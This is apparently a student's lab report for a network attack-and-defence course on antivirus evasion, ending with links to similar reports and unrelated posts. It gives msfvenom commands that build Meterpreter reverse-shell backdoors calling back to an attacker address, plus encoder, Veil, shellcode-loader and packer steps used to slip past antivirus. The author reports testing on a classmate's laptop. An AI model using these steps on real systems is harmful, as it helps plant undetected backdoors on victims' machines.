2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践
基础问题回答
杀软是如何检测出恶意代码的?
- 主要依托三种恶意软件检测机制。
- 基于特征码的检测:一段特征码就是一段或者多段数据。如果一个可执行文件中含有这样的数据,即可被认为是恶意代码。
- 启发式恶意软件检测:根据一些片面特征去推测判断,但是一般缺乏精确地判定依据。
- 基于行为的恶意代码检测:属于启发式的一种,或者是加入了行为监控的启发式。
免杀是做什么的?
- 使用一些技术手段对恶意软件做处理,让它不被杀毒软件所检测。同时,免杀也是渗透测试中需要使用到的技术。
免杀的基本方法有哪些?
- 改变特征码
- 只有EXE--加壳:压缩壳,加密壳
- 有shellcode(像Meterpreter)--用encode进行编码,基于payload的重新编译生成可执行文件
- 有源代码的--用其他编译器进行重写再编译(veil-evasion)
- 改变行为:
- 通讯方式:尽量减少反弹式连接,使用隧道技术,加密通讯数据
- 操作模式:基于内存操作,减少对系统的修改,加入混淆功能的正常功能代码
- 非常规方法:使用后门;使用攻击,诱骗目标关闭AV软件;自己做一个恶意软件
- 改变特征码
具体实验操作
任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧
使用msf编码器
使用msf编码器生成后门程序
met-5221.exe:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.75.128 LPORT=5221 -f exe > met-5221.exe
将生成的后门程序上传到virus total进行检测
可见, 比较明显的后门程序很容易被杀软发现,下面我们做一些修改,看看是否还能被发现呢?
一次编码的命令:
-e
选择编码器;
-b
是去除payload中需要去除的字符,为了使'\x00'不出现在shellcode中。msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.75.128 LPORT=5221 -f exe > encoded-5221.exe
再次将生成的后门程序上传到virus total进行检测
再进行十次编码:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.75.128 LPORT=5221 -f exe > met-encoded-10.exe
,其中-i
后的参数是确定编码次数,具体效果如下
再次将生成的后门程序上传到virus total进行检测
可见效果不是特别明显
使用msfvenom生成jar
- 使用Java后门程序生成指令生成后门程序
msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.75.128 lport=5221 x> 20165221-后门_java.jar
使用msfvenom生成php
- 使用php后门程序生成指令生成后门
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.75.128 lport=5221 x> 20165221_后门.php
使用veil-evasion
此处参考了同学的博客,进行安装,感谢大佬探路!
之后再在终端输入
veil
,一路y
,直到安装完成。这个过程相当的漫长,慢慢等吧......设置反弹连接IP:
192.168.254.128
(kali的ip)设置端口号:
set LPORT 5221
输入
gennerate
,接着输入playboad的名字:baddoor
:
随后再在终端使用
veil
进入应用,输入use evasion
进入veil-evasion
,再输入use python/meterpreter/rev_tcp.py
半手工注入Shellcode并执行
首先使用命令:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.75.128 LPORT=5221 -f c
得到shellcode
新建
5221-exp3.c
文件,并注入shellocde
unsigned char buf[] =
将shellcode替换到此处
int main()
{
int (*func)() = (int(*)())buf;
func();
}
成功生成
5221-exp3.c
文件
再将其上传到virus total进行检测
和前几次相比,已经有了一些效果了
加个压缩壳再试试
给
5221-exp3.exe
加壳得到tx_upxed.exe
再将其上传到virus total进行检测
将其复制到win10主机上,用360卫士进行木马查杀,效果如下
额,貌似没有被发现啊,嘻嘻嘻
使用加密壳Hyperion
将生成的tx_upxed.exe文件拷贝到
/usr/share/windows-binaries/hyperion/
再使用命令
wine hyperion.exe -v tx_upxed.exe tx_upxed.Hyperion.exe
得到加密壳
将其复制到win10主机上,被查杀
将之前生成的后门程序
20165221upxed.exe
放到win7的虚拟机中,能够成功获得shell
用另一电脑实测,在杀软开启的情况下,可运行并回连成功
- 选择同学的联想笔记本电脑进行实测,并没有被杀软发现
实验总结
- 这次试验中遇到的最大的几个问题就是veil的安装,虚拟机崩掉和ip地址导致的问题
- 最开始在注入shellcode时是在图书馆用的WiFi做的,后来反弹连接时,老是失败,后来才意识到到宿舍是连接的自己的热点,IP地址都已经变化了,所以又退回去做了一遍........
- 虚拟机崩掉这个,真是.....在用win7的虚拟机回弹连接时,发现虚拟机就是打不开,后来选择了最笨的办法,重新安装VMware,修复之前的运行环境,总之,很波折。。。。。。还好,都解决了
2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践的更多相关文章
- 2018-2019-2 20165315 《网络对抗技术》Exp3 免杀原理与实践
2018-2019-2 20165315 <网络对抗技术>Exp3 免杀原理与实践 一.实验内容 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion ...
- 2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用 ...
- 2018-2019-2 网络对抗技术 20165318 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165318 Exp3 免杀原理与实践 免杀原理及基础问题回答 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil- ...
- 2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践 免杀原理及基础问题回答 一.免杀原理 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. ...
- 2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践 一.实践目标 1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳 ...
- 2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践 实验内容(概要) 一.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...
- 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践
- 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践 - 实验任务 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...
- 2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践
2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 1.对某个文件的特征码进行分析,(特征码就是一类恶意文件中经常出现的一段代 ...
- 2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践 免杀原理及基础问题回答 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil- ...
随机推荐
- 一个简单的以太坊合约让imtoken支持多签
熟悉比特币和以太坊的人应该都知道,在比特币中有2种类型的地址,1开头的是P2PKH,就是个人地址,3开头的是P2SH,一般是一个多签地址.所以在原生上比特币就支持多签.多签的一个优势就是可以多方对一笔 ...
- 菜鸟学python之程序初体验
作业来源:https://edu.cnblogs.com/campus/gzcc/GZCC-16SE1/homework/2684 1.字符串操作: 解析身份证号:生日.性别.出生地等. def id ...
- python_while
while 格式 while 条件 : pass 使用 while True : print("精忠报国") print("粉红的回忆") print(&quo ...
- python + django + echart 构建中型项目
1. python生产环境, 多层modules 导入问题: 多个modules 如何导入不同级别的包: 在每个modules下新建 __init__.pyimport os, sys dir_myt ...
- Redis快问快答
本随笔的回答来自 http://www.runoob.com/redis/redis-tutorial.html 另一个不错的教程: https://www.yiibai.com/redis/redi ...
- CRT工具远程登陆Google Cloud远程ssh登录方法
首先使用Google Cloud SSH连接上去:1.切换到 rootsudo -i12.编辑ssh配置文件vi /etc/ssh/sshd_config13.修改以下内容即可PermitRootLo ...
- Fiddle Proxy
1.抓包原理 Fiddler是类似代理服务器的形式工作,它能够记录所有你的电脑和互联网之间的http(S)通讯,可以查看.修改所有的“进出”的数据.使用代理地址:127.0.0.1, 默认端口:888 ...
- ES6 对象增强
对象字面量语法扩展: 1, 属性初始化语法简写:给一个属性赋一个变量值,如果变量名和属性名相同,可以省略变量名和冒号,直接写属性名,js引擎在执行代码的时候,自动查找 和属性命名相同的变量并赋值. l ...
- vue在html中出现{{}}原因及解决办法
在刚开始接触vue的时候,我们都是直接用<script>引入vue.js使用.没有借助vue-cli脚手架来构建项目. 对于一个初学者来说,跟着文档慢慢搬砖,使用vue进行数据绑定. 记得 ...
- JSON序列化不想新建很多对象实体怎么办
不用新建对象,而是用JSONObject 相当于Map类型,重复的key 会覆盖 //序列化JSONObject jsonObject = new JSONObject();jsonObject.pu ...